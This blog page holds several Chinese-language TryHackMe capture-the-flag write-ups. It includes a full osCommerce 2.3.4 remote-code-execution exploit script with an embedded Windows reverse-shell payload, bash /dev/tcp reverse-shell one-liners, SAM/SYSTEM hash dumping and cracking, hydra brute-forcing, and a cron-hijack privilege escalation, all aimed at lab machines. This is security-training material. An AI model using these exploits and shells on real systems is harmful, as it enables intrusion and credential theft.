Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 131.87 seconds 測試老洞445 port SMB 有開,又是 Windows 系統很直覺的掃一下老洞 MS17-010 https://github.com/3ndG4me/AutoBlue-MS17-010 發現打不進去 QQ觀察 web- 發現 8080 port 跟 443 port 的 web server 都指向同一個 web server 裡面有一個 oscommerce-2.3.4 路徑 Exploit 尋找 exploitGoogle oscommerce-2.3.4 Exploit https://www.exploit-db.com/exploits/44374部屬 exploit- wget https://www.exploit-db.com/download/44374 -O 44374.py 修改路徑 # enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4) base_url = "http://10.10.66.7:8080/oscommerce-2.3.4/catalog/" target_url = "http://10.10.66.7:8080/oscommerce-2.3.4/catalog/install/install.php?step=4" 修改指令payload += 'system("whoami");' 接著執行 44374.py 發現禁止 system嘗試 phpinfo()- 發現 disable_functions 只有禁止 system 這邊有非常多種繞過方法,例如passthru shell_exec exec在此取用 passthru再次嘗試 payload- payload += 'passthru("whoami");' 發現他直接吐了一個 system 給我!!準備戳 reverse shell- 找到一個 php windows reverse shellhttps://github.com/Dhayalanb/windows-php-reverse-shell/blob/master/Reverse%20Shell.php 基本上他的原理是寫檔,把base64轉成一隻exe跑起reverse shell拿來微調一下修改 ip、port、然後把 system 改 passthru放進 44374.py完整 exploit code # Exploit Title: osCommerce 2.3.4.1 Remote Code Execution # Date: 29.0.3.2018 # Exploit Author: Simon Scannell - https://scannell-infosec.net # Version: 2.3.4.1, 2.3.4 - Other versions have not been tested but are likely to be vulnerable # Tested on: Linux, Windows # If an Admin has not removed the /install/ directory as advised from an osCommerce installation, it is possible # for an unauthenticated attacker to reinstall the page. The installation of osCommerce does not check if the page # is already installed and does not attempt to do any authentication. It is possible for an attacker to directly # execute the "install_4.php" script, which will create the config file for the installation. It is possible to inject # PHP code into the config file and then simply executing the code by opening it. import requests # enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4) base_url = "http://10.10.66.7:8080/oscommerce-2.3.4/catalog/" target_url = "http://10.10.66.7:8080/oscommerce-2.3.4/catalog/install/install.php?step=4" data = { 'DIR_FS_DOCUMENT_ROOT': './' } # the payload will be injected into the configuration file via this code # ' define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" . # so the format for the exploit will be: '); PAYLOAD; /* # fsockopen("110.14.7.198",7877);popen("/bin/sh -i &3 2>&3", "r"); payload = '\'); \n' # payload += 'echo passthru("type configure.php");' payload += """ header('Content-type: text/plain'); $ip = "10.14.7.198"; //change this $port = "7877"; //change this $payload = "7Vh5VFPntj9JDklIQgaZogY5aBSsiExVRNCEWQlCGQQVSQIJGMmAyQlDtRIaQG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FgGMGMzuVYlHT92GhoAIwDoCdYmOEDPBw2FnoAJ3euzGO01InJYhPqH0HJEE9yte5EY8fRMAnJ45sUESifocFozaHmMHM5FAf0ZKTqi1cYQpH7mVUFM/DYwLhG5b9h9Ar16GihfI3DLT4qJj5kBkwzHZ4iG+rVoUqKX6auNa2O2YeKQ20JDCFuzDVjZpP5VO6QZ9ItFEMucDQ2ghgNMf1Nkgm224TYiMJv+469Iu2UkpZGCljZxAC2qdoI39ncSYeIA/y//C6S0HQBE7X/EvkBjzZ+wSjQu+RNWj8bG9v++bjOK30O1H9XnqGJvAwD99pu5eW8t+631fGsjQ2PXh/J8vD1CeDxApspOU8LoMU4KJMZ581H0jRsdHPmWAfAUQhFPkqoUKvO4ABAuhmeeT1yRSClWqQBgg+T10QzFYPRo91vMlUoVab9FYUqxGP3m0FzJ6+TXiQBfokhF//zoHVuRlimG0dozN+f/O7/5vwA="; $evalCode = gzinflate(base64_decode($payload)); $evalArguments = " ".$port." ".$ip; $tmpdir ="C:\\windows\\temp"; chdir($tmpdir); $res .= "Using dir : ".$tmpdir; $filename = "D3fa1t_shell.exe"; $file = fopen($filename, 'wb'); fwrite($file, $evalCode); fclose($file); $path = $filename; $cmd = $path.$evalArguments; $res .= "\n\nExecuting : ".$cmd."\n"; echo $res; $output = passthru($cmd); """ payload += '\n\n/*' data['DB_DATABASE'] = payload # exploit it r = requests.post(url=target_url, data=data) if r.status_code == 200: print("[+] Successfully launched the exploit. Open the following URL to execute your code\n\n" + base_url + "install/includes/configure.php") else: print("[-] Exploit did not execute as planned") 本機端開 nc -vlk 7877 進行監聽php 端執行下去,就拿到 shell 了!! 由於我們是 system 權限- 所以可以直接拿 admin 的 Root flag 在 C:\Users\Administrator\Desktop\root.txt.txt我猜應該是出題者手殘之類的,不小心打了兩次 .txt 吧THM{aea1e3ce6fe7f89e10cea833ae009bee} 破密 題目說需要破 "Lab" user NTML hash decrypted我覺得題目打錯字,應該是說 NTLM 的 hash XD由於我們是 system 權限,很大,所以可以用指令直接匯出兩個 NTLM 相關檔案、SAM 與 SYSTEM- reg save HKLM\SAM C:\sam reg save HKLM\SYSTEM C:\system接下來把兩個檔案傳回本機- 這邊我用的方法是,直接把這兩個檔案放到 web 路徑中,用wget來載 reverse shellcopy sam C:\xampp\htdocs\oscommerce-2.3.4\catalog\install\include攻擊機- wget http://10.10.66.7:8080/oscommerce-2.3.4/catalog/install/includes/sam wget http://10.10.66.7:8080/oscommerce-2.3.4/catalog/install/includes/user將 sam、system 轉為 john 格式- samdump2 system sam > j.txt 題目問 LAB 使用者,所以我們只需要保留這一行 Lab:1000:aad3b435b51404eeaad3b435b51404ee:30e87bf999828446a1c1209ddde4c450:::而我們要破的真正 hash 是這個 30e87bf999828446a1c1209ddde4c450暴力破解- 其實暴力破解通常是下下策,往往會先試著Google之類尋找網路資源 不過我 Google 這段 hash 值卻出現了一堆爆雷的內容,只好自己破解QQ 通常我愛用 rockyou.txt 但在這邊破不出來 後來我採用了這一包https://github.com/danielmiessler/SecLists/blob/master/Passwords/xato-net-10-million-passwords-dup.txt 不要問我為什麼……隨便找ㄉjohn j.txt --wordlist=/opt/xato-net-10-million-passwords-dup.txt --format=NT爆出密碼 googleplus另外一種網路解法- https://crackstation.net/ 輸入 30e87bf999828446a1c1209ddde4c450 回傳密碼為 googleplus

2021-07-29 · 5 分鐘 · steven

Anthem (Try Hack Me Writeup)

URL : https://tryhackme.com/room/anthem IP : 10.10.18.8 這題感覺有點廢,但還是寫一下WP好ㄌ 機器開機要等將近5分鐘為什麼? 不知道,反正我等了5分鐘才有畫面 估計是因為 Windows 有點肥ㄅ Recon 老梗 nmap -A 有開 80、3389 有抓到 robots.txt Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-28 21:42 EDT Nmap scan report for 10.10.18.8 Host is up (0.28s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | http-robots.txt: 4 disallowed entries |_/bin/ /config/ /umbraco/ /umbraco_client/ |_http-title: Anthem.com - Welcome to our blog 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: WIN-LU09299160F | NetBIOS_Domain_Name: WIN-LU09299160F | NetBIOS_Computer_Name: WIN-LU09299160F | DNS_Domain_Name: WIN-LU09299160F | DNS_Computer_Name: WIN-LU09299160F | Product_Version: 10.0.17763 |_ System_Time: 2021-07-29T01:42:55+00:00 | ssl-cert: Subject: commonName=WIN-LU09299160F | Not valid before: 2021-07-28T01:38:13 |_Not valid after: 2022-01-27T01:38:13 |_ssl-date: 2021-07-29T01:43:01+00:00; +1s from scanner time. robots.txt還有叫做 umbraco 的東西Google 後發現他是一種 CMS 看到一組奇怪密碼 UmbracoIsTheBest! UmbracoIsTheBest! # Use for all search robots User-agent: * # Define the directories not to crawl Disallow: /bin/ Disallow: /config/ Disallow: /umbraco/ Disallow: /umbraco_client/ 回答問題 普通問題 What port is for the web server?80What port is for remote desktop service?- 3389What is a possible password in one of the pages web crawlers check for?- 他都說 crawlers 了,所以應該就是 robots.txt 的密碼 UmbracoIsTheBest!What CMS is the website using?- umbraco robots.txt 上有寫What is the domain of the website?- anthem.com 首頁上就有 通靈問題 What’s the name of the AdministratorCMS 中有一篇文章這樣寫 http://10.10.18.8/archive/a-cheers-to-our-it-department/- Born on a Monday, Christened on Tuesday, Married on Wednesday, Took ill on Thursday, Grew worse on Friday, Died on Saturday, Buried on Sunday. That was the end…- 把字串丟去 Google 可以找到這篇文https://en.wikipedia.org/wiki/Solomon_Grundy_(nursery_rhyme) 所以 admin 叫做 Solomon_GrundyCan we find find the email address of the administrator?- 在某篇貼文中http://10.10.18.8/archive/we-are-hiring/貼文者叫做 Jane DoeEmail 是 : JD@anthem.com- 看起來規則是姓名各取一個字,都大寫 @anthem.com那 admin 這個- Solomon_Grundy 就 SG ㄅSG@anthem.com Flag 們 我覺得這邊的 Flag 也都偏通靈沒有任何 web 技巧可言 就把整個網站繞一圈就能逛完Flag1- http://10.10.18.8/archive/we-are-hiring/ THM{L0L_WH0_US3S_M3T4}Flag2- http://10.10.18.8/ THM{G!T_G00D}Flag4- http://10.10.18.8/archive/a-cheers-to-our-it-department/ THM{AN0TH3R_M3TA}Flag3- http://10.10.18.8/authors/jane-doe/ THM{L0L_WH0_D15} 通靈登入 通靈登入使用帳號 : SG@anthem.com 密碼 : UmbracoIsTheBest!前面 robots.txt 找到ㄉ登入 http://10.10.18.8/umbraco通靈RDP- sudo apt install freerdp2-x11 帳號 : SG 密碼 : UmbracoIsTheBest! xfreerdp +drives /u:SG /v:10.10.18.8:3389桌面上就有 user.txt- THM{N00T_NO0T} 提權 開啟顯示隱藏檔案 逛到 c:\backup\restore他沒有讀取權限,但我們可以修改他的權限- 修改後點開可以看到以下字串- ChangeMeBaby1MoreTime 猜測他可能是 admin 密碼使用RDP連 Admin- xfreerdp +drives /u:Administrator /v:10.10.18.8:3389 使用密碼 ChangeMeBaby1MoreTime取得 admin 權限- THM{Y0U_4R3_1337}

2021-07-29 · 2 分鐘 · steven

Pickle Rick (Try Hack Me Writeup)

URL : https://tryhackme.com/room/picklerick IP: 10.10.223.99 Recon nmap -A 10.10.223.99 22 port 80 port首頁原始碼- 提示 username : R1ckRul3srobots.txt- Wubbalubbadubdub Login 使用 Username : R1ckRul3s Password : Wubbalubbadubdub Webshell 進入後就是一個 webshell戳成 reverse shellbash -c 'bash -i >& /dev/tcp/10.13.21.55/7877 0>&1'Flag1- 在 web 目錄 mr. meeseek hairFlag2- 在 rick 家目錄 1 jerry tearFlag3- 發現可以直接 sudo su 所以就進 root 取得最後一個 flag fleeb juice

2021-07-29 · 1 分鐘 · steven

Overpass (Try Hack Me Writeup)

URL : https://tryhackme.com/room/overpass IP : 10.10.214.180 Scan 首先是老梗的用 Nmap 掃一下nmap -A 10.10.214.180 發現基本上只有開 ssh 跟 http接下來用 dirsearch 掃一下路徑- python3 dirsearch.py -u http://10.10.214.180/ -e all 看起來基本上比較有趣的只有 /admin/admin 介面- 基本上就是一個滿普通的登入介面,可以輸入帳號或密碼對著登入介面做了一些盲測的 SQLi'or'1'='1 -- 之類的都沒有反應 ROT47 (多走的彎路QQ) - 選到 About 看了一下,簡介是說他們曾經因為密碼在 rockyou 裡面,所以感到很失望,創了一個密碼管理軟體到 Downloads 來看一下他們的密碼軟體- 他們有 source code http://10.10.129.94/downloads/src/overpass.go 擷取重點發現- 是一個用 Go 語言寫的密碼管理軟體,而他們的加密使用了 ROT47 的加密算法 //Secure encryption algorithm from https://socketloop.com/tutorials/golang-rotate-47-caesar-cipher-by-47-characters-example func rot47(input string) string { var result []string for i := range input[:len(input)] { j := int(input[i]) if (j >= 33) && (j ```python def rot47(s): x = [] for i in range(len(s)): j = ord(s[i]) if j >= 33 and j 我心裡的猜想- 它們之前的密碼是用 rockyou 的密碼,現在在推他們自己的密碼管理軟體,使用 ROT47 - 該不會……可以爆破 web 介面密碼,使用 ROT47 後的 rockyou 吧? - 所以寫了以下的 Code 來把 rockyou 轉 ROT47 ```python def rot47(s): x = [] for i in range(len(s)): j = ord(s[i]) if j >= 33 and j 所以就把所有的使用者準備成一個 txt (每個人名換一行)使用 Hydra 進行爆破- `hydra -L user_l.txt -P rot47rock.txt 10.10.214.180 http-post-form "/api/login:username=^USER^&password=^PASS^:Incorrect credentials"`跑ㄌ很久也沒用沒用QQ ## 觀察登入程式碼 - 爆破畢竟是下下策,還是先觀察一下登入介面的原始碼有什麼東東 - 就發現了一個 login.jshttp://10.10.214.180/login.js - 擷取重要的弱點- 跑到 elase 代表登入成功,會寫入一個餅乾餅乾名稱 : "SessionToken" - 餅乾值 : statusOrCookie ```javascript if (statusOrCookie === "Incorrect credentials") { loginStatus.textContent = "Incorrect Credentials" passwordBox.value="" } else { Cookies.set("SessionToken",statusOrCookie) window.location = "/admin" } 直接用 Firefox 新增一個餅乾名稱用 “SessionToken”, Value 亂寫 然後就登進去了!!! 上面直接留了一串 Private Key,也寫說是給 james 的 -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENC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p7/wOX6WMo1MlkF95M3C7dxPFEspLHfpBxf2qys9MqBsd0rLkXoYR6gpbGbAW58 dPm51MekHD+WeP8oTYGI4PVCS/WF+U90Gty0UmgyI9qfxMVIu1BcmJhzh8gdtT0i n0Lz5pKY+rLxdUaAA9KVwFsdiXnXjHEE1UwnDqqrvgBuvX6Nux+hfgXi9Bsy68qT 8HiUKTEsukcv/IYHK1s+Uw/H5AWtJsFmWQs3bw+Y4iw+YLZomXA4E7yxPXyfWm4K 4FMg3ng0e4/7HRYJSaXLQOKeNwcf/LW5dipO7DmBjVLsC8eyJ8ujeutP/GcA5l6z ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbnRa8b7dSRz7aDZVLpJnEy9bhn6a7WtS 49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2 +hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk 2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7 -----END RSA PRIVATE KEY----- 那我們當然就把這一串存到自己的電腦,再嘗試 run 看看囉!!chmod 600 James_key.pem ssh james@10.10.214.180 -i James_key.pem 發現 key 需要用密碼!爆密碼- 老梗,請約翰出場,先找 ssh2john 把 key 轉 john 的格式python3 ../ssh2john.py James_key.pem > James_john.txt再來就 run john 囉!john James_john.txt --wordlist=/opt/rockyou.txt- 密碼就出來囉!! james13 (其實我先跑了 rot47 的密碼,但失敗了QQ)使用 ssh 進行登入- ssh james@10.10.214.180 -i James_key.pem 搭配密碼 james13 成功登入! 取得 user.txt``thm{65c1aaf000506e56996822c6281e6bf7} 提權 之前我們都用 Linenum,這次來換換口味,使用小豌豆 Linpeas 吧!先把檔案 scp 上去 scp -i James_key.pem ../linpeas.sh james@10.10.214.180:/home/james馬上就噴出了一個很重要的 Cron job- 小豌豆好棒棒!!! 每分鐘會用 root 權限 curl 一次 overpass.thm 的網址,然後把值丟去bash發現 /etc/hosts 沒有設權限- 所以我們可以把 overpass.thm 轉到自己的伺服器上 在自己的電腦上準備一個資料夾路徑- downloads/src/buildscript.sh 的檔案 內容物為自己的 Reverse shellbash -c 'bash -i >& /dev/tcp/10.14.7.198/7877 0>&1'然後在自己的電腦上開一下 nc 進行監聽- nc -vlk 7877 開啟 Python server- python3 -m http.server攻擊戳回來了!!!- 取得 root flag- thm{7f336f8c359dbac18d54fdd64ea753bb}

2021-07-27 · 2 分鐘 · steven